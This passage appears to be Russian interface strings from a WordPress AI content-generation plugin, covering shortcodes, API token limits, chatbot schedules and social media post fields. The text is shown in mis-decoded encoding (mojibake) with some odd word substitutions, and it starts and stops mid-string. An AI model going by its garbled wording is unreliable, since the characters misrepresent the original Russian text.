(родительÑÐºÐ°Ñ > дочернÑÑ), в таком формате: custom_taxonomy_name => parent1 > child1 . Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также можете иÑпользовать Ñледующие тематичеÑкие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%.УÑтановите ежедневное количеÑтво токенов Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей. Пользователи, которые не вошли в ÑиÑтему, не Ñмогут отправить форму. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.УÑтановите дни недели, когда вы хотите вÑегда показывать чатбота (незавиÑимо от указанных выше ограничений по чаÑам).УÑтановите дни недели, когда вы не хотите показывать чатбота.УÑтановите выÑоту говорÑщего аватара по умолчанию. Значение по умолчанию Ð´Ð»Ñ Ñтого — 300 пикÑелей.УÑтановите ширину говорÑщего аватара по умолчанию. Значение по умолчанию Ð´Ð»Ñ Ñтого — 300 пикÑелей.УÑтановите опиÑание пина Pinterest.Задайте опиÑание пина Pinterest. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите опиÑание Ñтого аÑÑиÑтента.УÑтановите опиÑание Ñтой формы.УÑтановите Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлÑÑ‚ÑŒÑÑ Ñлектронное пиÑьмоЗадайте Ð°Ð´Ñ€ÐµÑ Ñлектронной почты, на который будет отправлено пиÑьмо. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановить отрывок поÑтаЗадайте отрывок Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите избранное изображение Ñоздаваемого поÑта.УÑтановите главное изображение Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress. Ð’Ñ‹ также можете иÑпользовать чиÑловые идентификаторы вложений медиатеки.УÑтановите тип Ð¿Ð¾Ð»Ñ Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°.УÑтановите тип ÑохранÑемого файла.УÑтановите первое Ñообщение Ñтого аÑÑиÑтента.УÑтановите первое Ñообщение Ñтого аÑÑиÑтента. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð² наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½Ðµ поддерживаетÑÑ API OpenAI for Assistants.УÑтановите первое Ñообщение Ñтого перÑонажа.УÑтановите функцию или маÑÑив функций, которые помощник Ñможет вызывать. Чтобы Ñто работало, необходимо Ñоблюдать требуемый формат функции.Задайте текÑÑ‚ заголовка раздела «Ðнализ отзывов клиентов». По умолчанию: Ðнализ отзывов клиентов.УÑтановите текÑÑ‚ заголовка раздела «ПлюÑÑ‹ и минуÑы». По умолчанию: плюÑÑ‹ и минуÑÑ‹.УÑтановите текÑÑ‚ Заголовка Заголовка Раздела ВопроÑов и Ответов. По умолчанию: ВопроÑÑ‹ ОтветыУÑтановите текÑÑ‚ Заголовка Заголовка Раздела Заключительной чаÑти. Это необÑзательно.УÑтановите чаÑовой период каждого днÑ, когда вы хотите показывать чат-бот, вÑтроенный на ваш Ñайт. Ваше текущее Ð²Ñ€ÐµÐ¼Ñ Ð½Ð° Ñервере:УÑтановите модель изображениÑ, Ñозданного аÑÑиÑтентом AI.УÑтановите размер изображениÑ, Ñгенерированного Assistantом AI.УÑтановите размер изображениÑ, которое будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° изображений.УÑтановите ID Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. Это важно, так как вы Ñможете получить значение, введенное пользователÑми во внешнем интерфейÑе Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот ID. Ð’Ñ‹ Ñможете иÑпользовать Ñто в поле наÑтроек «Промпт» Ñнизу в Ñледующем формате: %%ID_YOU_ENTER_HERE%%.УÑтановите поле ввода Лейбл (текÑÑ‚Ð¾Ð²Ð°Ñ Ð¿Ð¾Ð´Ñказка).УÑтановите ключевое Ñлово, по которому будет выполнÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк видео на YouTube.Задайте ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк видео на YouTube. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк изображений, не требующих лицензионных отчиÑлений.Задайте ключевое Ñлово, по которому будет оÑущеÑтвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ð¸Ñк беÑплатных изображений. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ключевое Ñлово, по которому запрашиваютÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ поиÑковой выдачи.Задайте ключевое Ñлово, по которому будут запрашиватьÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ SERP. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите Ñзык Ñоздаваемого Контента. При Ñтом будет уÑтановлено значение короткого кода %%Ñзыка%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.УÑтановить ÑÑылку на изображение поÑтаУÑтановите ÑÑылку на изображение поÑта FacebookУÑтанавливает ÑÑылку на изображение поÑта в Facebook. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановить ÑÑылку на поÑÑ‚ в FacebookУÑтановите ÑÑылку на поÑÑ‚ в Facebook. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ÑÑылку на изображение поÑта в Google Мой бизнеÑ.УÑтанавливает ÑÑылку на изображение поÑта Google Мой бизнеÑ. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ÑÑылку на изображение поÑта в InstagramУÑтанавливает ÑÑылку на изображение поÑта в Instagram. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ÑÑылку на изображение поÑта LinkedIn.УÑтановите ÑÑылку на изображение поÑта в LinkedIn. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ÑÑылку на изображение поÑта Pinterest.УÑтановите ÑÑылку на изображение поÑта из Pinterest. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите ÑÑылку на изображение поÑта X (Twitter)УÑтановите ÑÑылку на изображение поÑта X (Twitter). Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPressУÑтанавливает ÑÑылку на изображение поÑта в ÑообщеÑтве YouTube. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите меÑтоположение Ñохраненного файла.УÑтановите оÑновной контент поÑта в FacebookУÑтановите оÑновной кантент поÑта в Facebook. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент публикации в Google Мой бизнеÑ.Задайте контент оÑновного поÑта Google Мой бизнеÑ. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент поÑта LinkedIn.УÑтановите оÑновной контент поÑта LinkedIn. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновное опиÑание поÑта в LinkedIn.Задайте оÑновное опиÑание поÑта в LinkedIn. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновную ÑÑылку на поÑÑ‚ LinkedIn.УÑтановите ÑÑылку на оÑновной поÑÑ‚ в LinkedIn. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной заголовок поÑта LinkedInУÑтановите заголовок оÑновного поÑта LinkedIn. Дополнительные шорткоды, которые вы можете иÑпользовать:%%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент поÑта Reddit.УÑтановите контент оÑновного поÑта Reddit. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной заголовок поÑта RedditУÑтановите заголовок оÑновного поÑта Reddit. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент поÑта X (Twitter)УÑтановите контент оÑновного поÑта X (Twitter). Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент поÑта в ÑообщеÑтве YouTube.УÑтановите контент оÑновного поÑта ÑообщеÑтва YouTube. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите оÑновной контент файлаЗадайте контент оÑновного файла. Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.Задайте оÑновные ключевые Ñлова, которые будут обрабатыватьÑÑ Ñтой задачей автоматизации. Введите ключевое Ñлово в каждой Ñтроке. Ð’Ñ‹ Ñможете получить доÑтуп к значениÑм Ñтих ключевых Ñлов из процеÑÑа AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñледующий шорткод: %%keyword%%УÑтановите оÑновной контент вебхукаЗадайте оÑновной контент вебхука. ЕÑли вы выбрали тип контента JSON, введите здеÑÑŒ правильную Ñтруктуру JSON. ЕÑли вы выбрали "Данные формы", введите данные формы в такой Ñтруктуре: ключ => значение (добавлÑйте новые комбинации ключ/значение Ñ Ð½Ð¾Ð²Ð¾Ð¹ Ñтроки). Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите макÑимальное количеÑтво Ñообщений чата Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в качеÑтве контекÑта API. По умолчанию отправлÑетÑÑ ÐºÐ°Ðº можно больше AI, в завиÑимоÑти от размера токена, принÑтого моделью.УÑтановить макÑимальную выÑоту игрока в пикÑелÑÑ…. Значение по умолчанию равно 380.УÑтановите макÑимальную длину ввода Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑких ПоÑтов.УÑтановить макÑимальную длину результирующей Ñтроки в ÑимволахУÑтановите макÑимальную длину результирующей Ñтроки в Ñимволах. ЕÑли подпиÑи длиннее Ñтого значениÑ, они будут Ñокращены.УÑтановите макÑимальную длину подпиÑей в Промптах. Это полезно иметь, когда подпиÑи могут быть очень длинными.УÑтановите макÑимальное количеÑтво API-токенов, которые будут иÑпользоватьÑÑ Ð¿Ñ€Ð¸ каждом запроÑе. Это определит длину результирующего ответа API. Обычно каждый токен ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом значении также учитываетÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправлÑемых в API в качеÑтве промпта к Ñтатье. Ð”Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… моделей макÑимальное значение ÑоÑтавлÑет 2048.УÑтановите макÑимальное количеÑтво API-токенов, которые будут иÑпользоватьÑÑ Ð¿Ñ€Ð¸ каждом запроÑе. Это определит длину результирующего ответа API. Обычно каждый токен ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом значении также учитываетÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправлÑемых в API в качеÑтве промпта к Ñтатье. МакÑимальное значение, которое можно уÑтановить, - 4000. Ð”Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… моделей макÑимальное значение ÑоÑтавлÑет 2048.УÑтановите макÑимальное количеÑтво токенов API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Обратите внимание, что в Ñтом значенAI также будет учитыватьÑÑ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑтво токенов, отправленных в API в качеÑтве Ð¿Ñ€Ð¸Ð³Ð»Ð°ÑˆÐµÐ½Ð¸Ñ Ðº Ñтатье. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 4000.УÑтановите макÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñоздаваемым ПоÑтам. Ð’Ñ‹ также можете определить пользовательÑкие диапазоны, например: 3-5. Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать лучше вÑего, еÑли на вашем Ñайте уже опубликовано значительное количеÑтво ПоÑтов, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð½ÑƒÑ‚Ñ€ÐµÐ½Ð½ÐµÐ¹ перелинковки.УÑтановите макÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñоздаваемым ПоÑтам. Ð’Ñ‹ также можете определить пользовательÑкие диапазоны, например: 3-5. Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать лучше вÑего, еÑли на вашем Ñайте уже опубликовано значительное количеÑтво ПоÑтов, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð½ÑƒÑ‚Ñ€ÐµÐ½Ð½ÐµÐ¹ перелинковки. Значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ ÐаÑтроек — 3-5.УÑтановите макÑимальное количеÑтво Ñимволов, которые Ñледует иÑключить из ÑпарÑенных данных.УÑтановите макÑимальное количеÑтво Ñимволов, которые Ñледует иÑключить из ÑпарÑенных данных.УÑтановите макÑимальное количеÑтво токенов continue API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит больше иÑходных данных, можно будет ожидать результатов более выÑокого качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, ÑоÑтавлÑет 500.УÑтановите макÑимальное количеÑтво токенов continue API Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит больше иÑходных данных, можно будет ожидать результатов более выÑокого качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 2048.УÑтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸Ð£Ñтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это позволит плагину обработать макÑимальное количеÑтво Ñлементов канала и включить их в конечный результат.УÑтановите макÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это позволит плагину обработать макÑимальное количеÑтво Ñлементов результатов поиÑка и включить их в конечный результат.УÑтановите макÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. Это поле ÑвлÑетÑÑ Ð½ÐµÐ¾Ð±Ñзательным.УÑтановите макÑимальное количеÑтво ПоÑтов, которые будут обрабатыватьÑÑ Ð¿Ñ€Ð¸ каждом запуÑке.УÑтановите макÑимальное количеÑтво продуктов Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ÑпиÑок продуктов.Задайте макÑимальное количеÑтво продуктов, которые будут добавлены в ÑпиÑок товаров. Ð’Ñ‹ также можете задать переменное количеÑтво продуктов, в Ñтом Ñлучае будет выбрано Ñлучайное чиÑло из указанного вами диапазона. Пример 5-7УÑтановите макÑимальное количеÑтво токенов API Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит больше иÑходных данных, можно будет ожидать результатов более выÑокого качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, ÑоÑтавлÑет 1000.УÑтановите макÑимальное количеÑтво токенов API Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит больше иÑходных данных, можно будет ожидать результатов более выÑокого качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 1000.УÑтановите макÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать функцию «Люди также Ñпрашивают» от Google и Bing. По умолчанию движок Bing очищаетÑÑ, еÑли вы хотите включить также парÑинг Google, добавьте ключ SerpAPI в меню «ОÑновные ÐаÑтройки» Плагина -> поле ÐаÑтроек «Ключ API SerpAPI».УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать ÐаÑтройки «Royalty Free Image» из меню «ОÑновные ÐаÑтройки» Плагина или еÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к API DallE.УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать ÐаÑтройки «Royalty Free Image» из меню «ОÑновные ÐаÑтройки» Плагина.УÑтановите макÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать беÑплатные иÑточники изображений, наÑтроенные в меню «ОÑновные ÐаÑтройки» Плагина или еÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к API DallE.УÑтановите макÑимальное количеÑтво токенов API результатов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ ÐºÐ°Ð¶Ð´Ñ‹Ð¼ запроÑом. Это определит длину результирующего ответа API. Каждый токен обычно ÑоÑтоит примерно из 4 Ñимволов. Это определÑет, Ñколько Контента API получает каждый раз, когда вы его вызываете. ЕÑли API получит больше иÑходных данных, можно будет ожидать результатов более выÑокого качеÑтва. МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñумма, которую можно уÑтановить, Ñто 2048.УÑтановите макÑимальное количеÑтво Ñекунд, в течение которых плагин будет ждать запроÑов к API. По умолчанию Ñто 120 Ñекунд.УÑтановите макÑимальное количеÑтво такÑономий, которые будут обрабатыватьÑÑ Ð¿Ñ€Ð¸ каждом запуÑке.Задайте макÑимальное количеÑтво раз, которое плагин будет повторÑÑ‚ÑŒ вызовы API в Ñлучае их неудачи. Это полезно, так как в некоторых ÑлучаÑÑ… OpenAI API дает Ñбой, и Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð°Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚ÐºÐ° Ñрабатывает. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð½Ðµ поддерживаетÑÑ, еÑли чатбот находитÑÑ Ð² потоковом режиме.УÑтановите макÑимальное количеÑтво раз, когда Плагин будет повторÑÑ‚ÑŒ вызовы API чата, еÑли автор AI Ñчитает, что чат закончилÑÑ. Предупреждение: Ñто может потреблÑÑ‚ÑŒ больше токенов, так как вызовы API будут повторÑÑ‚ÑŒÑÑ Ð½ÐµÑколько раз. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.УÑтановить макÑимальную ширину Ð¿Ñ€Ð¾Ð¸Ð³Ñ€Ñ‹Ð²Ð°Ñ‚ÐµÐ»Ñ Ð² пикÑелÑÑ…. Значение по умолчанию равно 580.УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð²Ð¾ÑˆÐµÐ´ÑˆÐ¸Ñ… в ÑиÑтему пользователей при доÑтиженAI предела 